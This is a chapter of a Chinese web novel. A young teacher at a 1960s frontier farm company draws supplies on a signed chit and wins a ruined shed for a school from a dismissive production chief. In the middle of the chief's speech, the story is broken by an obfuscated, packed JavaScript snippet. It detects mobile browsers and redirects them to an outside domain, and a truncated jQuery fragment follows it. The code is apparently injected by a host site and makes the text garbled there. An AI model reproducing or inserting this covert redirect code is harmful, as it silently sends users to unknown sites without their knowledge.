库房门口，一个穿着油渍工装的老保管员正蹲在地上修补一个破麻袋。
舒染快步上前，礼貌地打了个招呼：“老师傅，您好！我是新来的舒染，才分配到连里。”
老保管员抬起头打量着她，认出是那个“成分不好”的上海小姐，眉头皱起，语气带着不耐烦。“什么事？提前和你说好啊，没有上面开的条子，什么东西都不能给你！”
舒染直接把手里那张纸条递了过去，“保管员，麻烦您。陈远疆干事批了这个，让我来库房领点东西。”
“陈干事批的？”老保管员明显愣了一下，怀疑地接过纸条。他凑近了，一个字一个字地仔细辨认着纸上的内容。当看到“陈远疆”的签名时，他脸上的不耐烦消失了，用探究的眼神看向她。
他把那张纸条翻来覆去看了两遍，尤其盯着“《新职工临时困难补助暂行办法》”和“保障教学工作”那几个字看了好一会儿，才说：“哦……哦……是这么回事啊。”
他甚至带上了一点客套，“保障教学，那是大事，大事！这规定我知道！”说完他利索地站起身，从腰间一大串钥匙里挑出一把黄铜钥匙。
“跟我来吧。”他示意舒染跟上，走到库房侧面一个木门前。这门同样挂着铁锁。
“咔哒”一声，锁开了。老保管员推开木门，一股尘土混着霉味扑面而来。里面光线昏暗，只有高处一个小气窗透进几缕光柱。
这里堆放的物品不多，但也落满了厚厚的灰尘。舒染看到角落里堆着几卷军用毛毡，几捆用油布包裹的备用绳索，一些工具配件，还有一些用厚麻袋装着的鼓鼓囊囊的东西，看形状似乎是棉花包。
老保管员走到一个麻袋垛前，指着其中一个看起来还算完整的麻袋：“喏，棉花。备用物资，登记过的。”他又指了指旁边货架上叠放着的几匹布，“布也在这儿。”
可以看出来，那些粗布颜色灰扑扑的，一看就是便宜厚硬的那种。
老保管员拿出一个登记本，翻到某一页，又掏出半截秃头铅笔，“来，舒同志，登记一下。姓名，领取物资名称，数量，用途，批条人……”他一项项指着本子上的表格。
舒染凑过去，在老保管员的指点下认真填写：
姓名：舒染
领取物资：粗棉拾斤，粗布一丈
用途：工作保障
批条人：陈远疆
领取人签字：舒染
日期：196X年X月X日
写完，她在“领取人签字”栏工工整整签下自己的名字。老保管员拿起登记本，对着舒染签的字和那张批条上的签名仔细比照了一下，确认无误。
这才走到麻袋垛前，解开那个麻袋口的麻绳。里面果然是压得瓷实的原棉。他拿出一个老旧的杆秤，手法熟练地称出十斤棉花。棉花是陈年旧棉，颜色发黄发硬，甚至有点板结有味道。
接着，他走到布匹前，量出一丈粗布，用一把大剪刀“咔嚓”一声利落地剪下。
“给，拿好了。”老保管员把棉花和粗布递给舒染，同时把那张批条收进了登记本里夹好。
“东西领了，用途也写清楚了，是正用，可别糟蹋了。”他语气里带着叮嘱。
“谢谢保管员！您放心，保证用在正地方！”舒染抱紧那堆来之不易的棉花和粗布走出了库房。老保管员在她身后锁门，嘴里嘟囔了一句：“备用库的东西……陈干事亲自批的条子……这新来的老师，是得有个能躺的地方……”
舒染假装没听见。她靠着自己在规则内的争取，在这个地方赢得了第一场小小的胜利。
现在，顺路去找生产主任赵卫东报到，落实工作。拿到“教师”这个护身符和立身之本，才是她在这个世界安身立命的关键。
凭着昨天连长的指向，舒染抱着东西在连队里转悠。畜牧连的布局很松散，除了几间功能性的土坯房，大部分都是半埋在地下的地窝子宿舍。
空地上堆着草料垛，拴着几匹骡马。几个男人扛着工具走过，好奇地看向抱着棉花布匹的舒染。
终于，在土坯房后面，她看到了一间门口挂着“生产办公室”木牌的房子。门开着，里面传来一个男人的声音，像是在下达命令：
“……就这么定了！机器趴窝，人手不足，娃娃们放羊的放羊，捡柴火的捡柴火，哪有人手去管什么学校？认字？认字能当饭吃还是能出粮食？现在最要紧的是把渠道开出来！把荒地开出来！上面的开荒任务完不成，大家都得喝西北风！娃娃们的事，等秋收后再说！”
舒染在门口顿住脚步。这声音的主人，显然就是生产主任赵卫东。
她清了清嗓子，提高声音：“报告！新报到的支边青年舒染，来找赵卫东主任报到！”
屋里的声音戛然而止。
片刻，一个身影出现在门口。约莫四十岁，皮肤是长期风吹日晒的棕红色，戴着一副断了腿用胶布缠着的眼镜。
他脸上没什么笑容，只有被打断工作的不耐。这就是赵卫东。
看到舒染和她怀里抱着的棉花布匹，赵卫东眉头锁紧，眼神带着审视和疏离。
“哦，舒染同志？进来吧。”他侧身让开，一副公事公办地态度。
办公室里很简陋，旧木桌几乎被各种报表、生产进度图淹没，墙角放着十字镐和铁锹。
桌子后面还坐着一个黑红脸膛的中年汉子，正闷头卷着莫合烟，抬眼瞥了舒染一下，一副瞧不上她的样子。
“马技术员，这是新来的师范生，”赵卫东介绍道，又转向舒染，“这位是马技术员，管机务的。”
赵卫东没让舒染坐，自己也没坐。他拿起桌上一份皱巴巴的文件，对着光看了看，又放下，“舒染同志，你的情况连里知道。有文化，是好事。但现在连队的当务之急，”他手指敲在桌面的生产进度图上，一个标着“落后”的红圈格外刺眼，“是完成上面的硬指标！开荒、挖渠、引水、排碱、压沙……哪一样不要人手？哪一样能等？”
他目光转向舒染，“娃娃们？大的十二三岁，已经是半个劳力，放羊、拾粪、帮厨、送水，都能顶事！小的满地跑，你让谁去管？谁有那个闲工夫坐屋里听讲？识字？够用就行！会写名字，认得清工分本上的数字，会算十以内的加减法，不耽误将来干活记账，足够了！至于那些个……”
他嘴角向下撇了撇，带着轻蔑和不解，“写啊画啊歌啊舞的，那是锦上添花！戈壁滩上连粮食都还没种出来，搞那些花架子，不是浪费是啥？”
他顿了顿，语气带着说教的意味：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996812|178209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“边疆生存，生产第一！教育？那是吃饱了肚子以后的事！现在搞这个，就是跟生产抢劳力，拖全连完成任务的后腿！”
舒染心里翻了个白眼，这个赵卫东和她曾经的校领导如出一辙，简直就是个“绩效狂”。但她更清楚自己的处境。她不是来当圣人的，她是来求生的。
“赵主任，”舒染的声音平静，“教育不是花架子，也不是为了教诗画歌舞。”
她迎上赵卫东的目光，“连队要发展，光有力气不够。认了字，至少能看懂农药标签，知道兑多少水，别把苗烧死了！能算清楚自家的工分，记个简单的账，少出错少吃亏！就说眼前这排碱渠的图纸，要是将来咱们连队自己的娃娃能看懂一部分，是不是也能帮上技术员的忙，少等师部的人？”
她指了指外面的农具：“就说这些工具，说明书都看不懂，坏了怎么修？靠蒙？靠等机务队？时间成本算不算损失？”
赵卫东感到权威被挑战，他声音大起来：“那是以后的事！现在的要紧事是把地种上！没有眼前的口粮，谈什么将来？你说的那些，等戈壁滩变成粮川了，再搞不迟！”
“赵主任，”舒染知道硬顶下去无益，语气放缓：“我理解连队生产任务重，人手紧张。但让我负责教育，是组织分配给我的工作，也是我能为连队做的最直接、最合适的贡献。而且，教育不一定要占用大块劳动时间。我们可以灵活安排，比如把课堂搬到地头边……”
“搬到地头？哼！”赵卫东打断她，“舒染同志，你想法是不少，但连队有连队的规矩！生产有生产的秩序！你说搬就搬？出了安全问题谁负责？耽误了工时谁负责？大家都怎么看？都像你这样‘创新’，还要不要集中力量办大事了？”他特别强调了“创新”两个字，带着贬义和警惕。
气氛有些僵持。旁边的马技术员吐出一口烟圈，帮腔道：“老赵说得在理！娃娃们认字是好事，但得看时候！现在？瞎耽误工夫！”
舒染叹了口气，语气里带着自嘲和暗示：“赵主任，我是师范生，教书是我唯一擅长的东西。顶着‘资本家小姐’的身份标签，如果连这点用处都发挥不出来，我在连队待着，对大家、对我自己，恐怕都是个麻烦。”
赵卫东盯着舒染看了好几秒，似乎在评估她话里潜在的风险。
“行行行！”他像是赶苍蝇一样挥挥手，带着极大的不情愿，“连部后头，靠围墙那边，有个破工具棚，早不用了，四面漏风，屋顶都塌了半拉。你要是不嫌破，就自己去拾掇！地方给你了，但丑话说前头！”
他眼神严厉：“第一，绝对不准占用上工时间！娃娃们该干的活儿一点不能少；第二，安全第一！出了任何问题，你负全责；第三，不准影响连队正常秩序！要是惹出闲话或者耽误了生产，我随时收回地方！”
“至于别的，”他指了指空荡荡的棚子方向，“啥也没有！自己想办法！连里没这个预算！生产经费一分一厘都要用在刀刃上！”
“谢谢赵主任！”舒染立刻应下，不管条件多苛刻，地方到手就是胜利。她没再纠缠细节，果断离开办公室，朝着那个破工具棚走去。
身后，隐约传来赵卫东对马技术员的抱怨：“……尽整这些没用的！有这折腾的功夫，多开两亩荒不好吗？”